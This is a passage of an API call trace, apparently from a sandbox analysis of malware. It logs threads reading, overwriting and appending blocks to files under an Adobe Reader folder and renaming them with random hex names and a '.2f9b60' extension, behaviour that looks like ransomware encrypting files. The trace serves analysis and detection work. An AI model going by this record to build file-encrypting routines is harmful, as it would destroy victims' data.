Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x12cbe834 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x7defe136 [0153.666] RtlRandomEx (in: Seed=0x26d4fa70 | out: Seed=0x26d4fa70) returned 0x5952fb1e [0153.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053ca0 [0153.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0153.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053cd0 [0153.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0153.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053c70) returned 1 [0153.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058f10 [0153.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0153.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42716280 [0153.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42719e90 [0153.678] ReadFile (in: hFile=0x1444, lpBuffer=0x42716280, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x26d4fa70, lpOverlapped=0x0 | out: lpBuffer=0x42716280*, lpNumberOfBytesRead=0x26d4fa70*=0x1e00, lpOverlapped=0x0) returned 1 [0154.269] SetFilePointerEx (in: hFile=0x1444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.269] WriteFile (in: hFile=0x1444, lpBuffer=0x42719e90*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x26d4fa74, lpOverlapped=0x0 | out: lpBuffer=0x42719e90*, lpNumberOfBytesWritten=0x26d4fa74*=0x1e00, lpOverlapped=0x0) returned 1 [0162.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a77f0 [0162.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7820 [0162.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7820) returned 1 [0162.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42719e90) returned 1 [0162.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42716280) returned 1 [0162.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0162.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f10) returned 1 [0162.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7820 [0162.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058f10 [0162.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0162.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7850 [0162.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7850) returned 1 [0162.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7850 [0162.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7880 [0162.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a78b0 [0162.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a78b0) returned 1 [0162.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0162.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058f10) returned 1 [0162.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a9b40 [0162.122] SetFilePointerEx (in: hFile=0x1444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.122] WriteFile (in: hFile=0x1444, lpBuffer=0x423a9b40*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x26d4fb90, lpOverlapped=0x0 | out: lpBuffer=0x423a9b40*, lpNumberOfBytesWritten=0x26d4fb90*=0x108, lpOverlapped=0x0) returned 1 [0164.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b3b0 [0164.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44e0 [0164.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f44e0) returned 1 [0164.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44e0 [0164.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f44b0 [0164.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f44b0) returned 1 [0164.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b3b0) returned 1 [0164.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0164.108] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="78") returned 2 [0164.108] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="59") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="75") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="98") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="4d") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="42") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="56") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="26") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="5b") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="91") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="cc") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="77") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="57") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="54") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="38") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="be") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="7f") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.109] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.109] RtlInitAnsiString (in: DestinationString=0x26d4fc08, SourceString="78597b75f3984d4256265bd691cc77575438be7f2ce6" | out: DestinationString="78597b75f3984d4256265bd691cc77575438be7f2ce6") [0164.109] RtlAnsiStringToUnicodeString (in: DestinationString=0x26d4fbd8, SourceString="78597b75f3984d4256265bd691cc77575438be7f2ce6", AllocateDestinationString=1 | out: DestinationString="78597b75f3984d4256265bd691cc77575438be7f2ce6") returned 0x0 [0164.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203faa50 [0164.110] RtlFreeAnsiString (AnsiString="7") [0164.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f44e0) returned 1 [0164.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9b40) returned 1 [0164.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7850) returned 1 [0164.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7880) returned 1 [0164.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7820) returned 1 [0164.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a77f0) returned 1 [0164.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053be0) returned 1 [0164.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053ca0) returned 1 [0164.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053cd0) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e780 [0164.113] wcscat (in: _Dest=0x4230e780, _Source="78597b75f39" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\78597b75f39") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\78597b75f39" [0164.113] wcscat (in: _Dest=0x4230e780, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\78597b75f39.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\78597b75f39.2f9b60" [0164.113] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\78597b75f39.2f9b60", NtPathName=0x26d4fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\78597b75f39.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b1d0 Thread: id = 2424 os_tid = 0x1e54 [0153.409] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita")) returned 0x20 [0153.409] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA", dwFileAttributes=0x20) returned 1 [0153.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1440 [0153.410] GetFileSizeEx (in: hFile=0x1440, lpFileSize=0x270af880 | out: lpFileSize=0x270af880*=7680) returned 1 [0153.410] SetFilePointerEx (in: hFile=0x1440, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.410] ReadFile (in: hFile=0x1440, lpBuffer=0x270af800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x270af848, lpOverlapped=0x0 | out: lpBuffer=0x270af800*, lpNumberOfBytesRead=0x270af848*=0x4, lpOverlapped=0x0) returned 1 [0153.414] SetFilePointerEx (in: hFile=0x1440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420534f0 [0153.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053550 [0153.415] NtQuerySystemTime (in: CurrentTime=0x270af740 | out: CurrentTime=0x270af740*=132462177585502000) returned 0x0 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x240e0c3f [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x58121524 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x6bb8956e [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x15508dbf [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x677fc965 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x7d151b83 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x2b17f67d [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x30c584c0 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x5fe5ceaf [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x510100a1 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x6d864465 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x66c9f81e [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x122ec701 [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x509565ff [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x3cdcf19e [0153.415] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x36da6d8d [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x45cc8d99 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x64fd4cf1 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x6f3e299b [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x3f46c054 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x58453ab8 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x62f9772a [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x332dab17 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0xa53fa9d [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x6e432e30 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x7795d217 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x3877029f [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x13a296ab [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x23f62bc4 [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x557ed3ca [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x7a82faea [0153.416] RtlRandomEx (in: Seed=0x270af730 | out: Seed=0x270af730) returned 0x4dd2ea61 [0153.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420535e0 [0153.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8685c0 [0153.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053610 [0153.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 [0153.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053550) returned 1 [0153.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0153.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8685c0 [0153.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42604d60 [0153.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42608970 [0153.425] ReadFile (in: hFile=0x1440, lpBuffer=0x42604d60, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x270af730, lpOverlapped=0x0 | out: lpBuffer=0x42604d60*, lpNumberOfBytesRead=0x270af730*=0x1e00, lpOverlapped=0x0) returned 1 [0153.426] SetFilePointerEx (in: hFile=0x1440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.426] WriteFile (in: hFile=0x1440, lpBuffer=0x42608970*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x270af734, lpOverlapped=0x0 | out: lpBuffer=0x42608970*, lpNumberOfBytesWritten=0x270af734*=0x1e00, lpOverlapped=0x0) returned 1 [0161.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5090 [0161.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a50c0 [0161.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a50c0) returned 1 [0161.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42608970) returned 1 [0161.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42604d60) returned 1 [0161.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 [0161.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0161.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a50c0 [0161.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0161.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8685c0 [0161.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a50f0 [0161.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a50f0) returned 1 [0161.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a50f0 [0161.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5120 [0161.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5150 [0161.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5150) returned 1 [0161.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8685c0) returned 1 [0161.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0161.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a8e80 [0161.703] SetFilePointerEx (in: hFile=0x1440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.703] WriteFile (in: hFile=0x1440, lpBuffer=0x423a8e80*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x270af850, lpOverlapped=0x0 | out: lpBuffer=0x423a8e80*, lpNumberOfBytesWritten=0x270af850*=0x108, lpOverlapped=0x0) returned 1 [0163.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1550 [0163.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1550) returned 1 [0163.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d200 [0163.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1550 [0163.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1520 [0163.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1520) returned 1 [0163.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0163.487] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="67") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="24") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="a1") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="43") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="5e") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="a3") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="d5") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="ef") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="90") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="64") returned 2 [0163.487] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.488] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="77") returned 2 [0163.488] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="3f") returned 2 [0163.488] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="93") returned 2 [0163.488] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="31") returned 2 [0163.488] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="42") returned 2 [0163.488] RtlInitAnsiString (in: DestinationString=0x270af8c8, SourceString="670e24a1433d5ea31d0bd5d1efba9064e4773f933142" | out: DestinationString="670e24a1433d5ea31d0bd5d1efba9064e4773f933142") [0163.488] RtlAnsiStringToUnicodeString (in: DestinationString=0x270af898, SourceString="670e24a1433d5ea31d0bd5d1efba9064e4773f933142", AllocateDestinationString=1 | out: DestinationString="670e24a1433d5ea31d0bd5d1efba9064e4773f933142") returned 0x0 [0163.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b857720 [0163.488] RtlFreeAnsiString (AnsiString="6") [0163.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1550) returned 1 [0163.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8e80) returned 1 [0163.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a50f0) returned 1 [0163.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5120) returned 1 [0163.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a50c0) returned 1 [0163.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5090) returned 1 [0163.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420534f0) returned 1 [0163.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420535e0) returned 1 [0163.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053610) returned 1 [0163.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb60b0 [0163.491] wcscat (in: _Dest=0x1cdb60b0, _Source="670e24a1433" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\670e24a1433") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\670e24a1433" [0163.492] wcscat (in: _Dest=0x1cdb60b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\670e24a1433.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\670e24a1433.2f9b60" [0163.492] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\670e24a1433.2f9b60", NtPathName=0x270af870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\670e24a1433.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce23760 [0164.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23760) returned 1 [0164.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c29970) returned 1 [0164.691] NtQueryInformationFile (in: FileHandle=0x1440, IoStatusBlock=0x270af8d8, FileInformation=0x270af8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x270af8d8, FileInformation=0x270af8e8) returned 0x0 [0164.691] NtSetInformationFile (FileHandle=0x1440, IoStatusBlock=0x270af8d8, FileInformation=0x270af8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb60b0) returned 1 [0164.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b857720) returned 1 [0164.694] FlushFileBuffers (hFile=0x1440) returned 1 [0166.255] CloseHandle (hObject=0x1440) returned 1 [0184.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43196720 [0191.727] wcscpy (in: _Dest=0x43196720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files 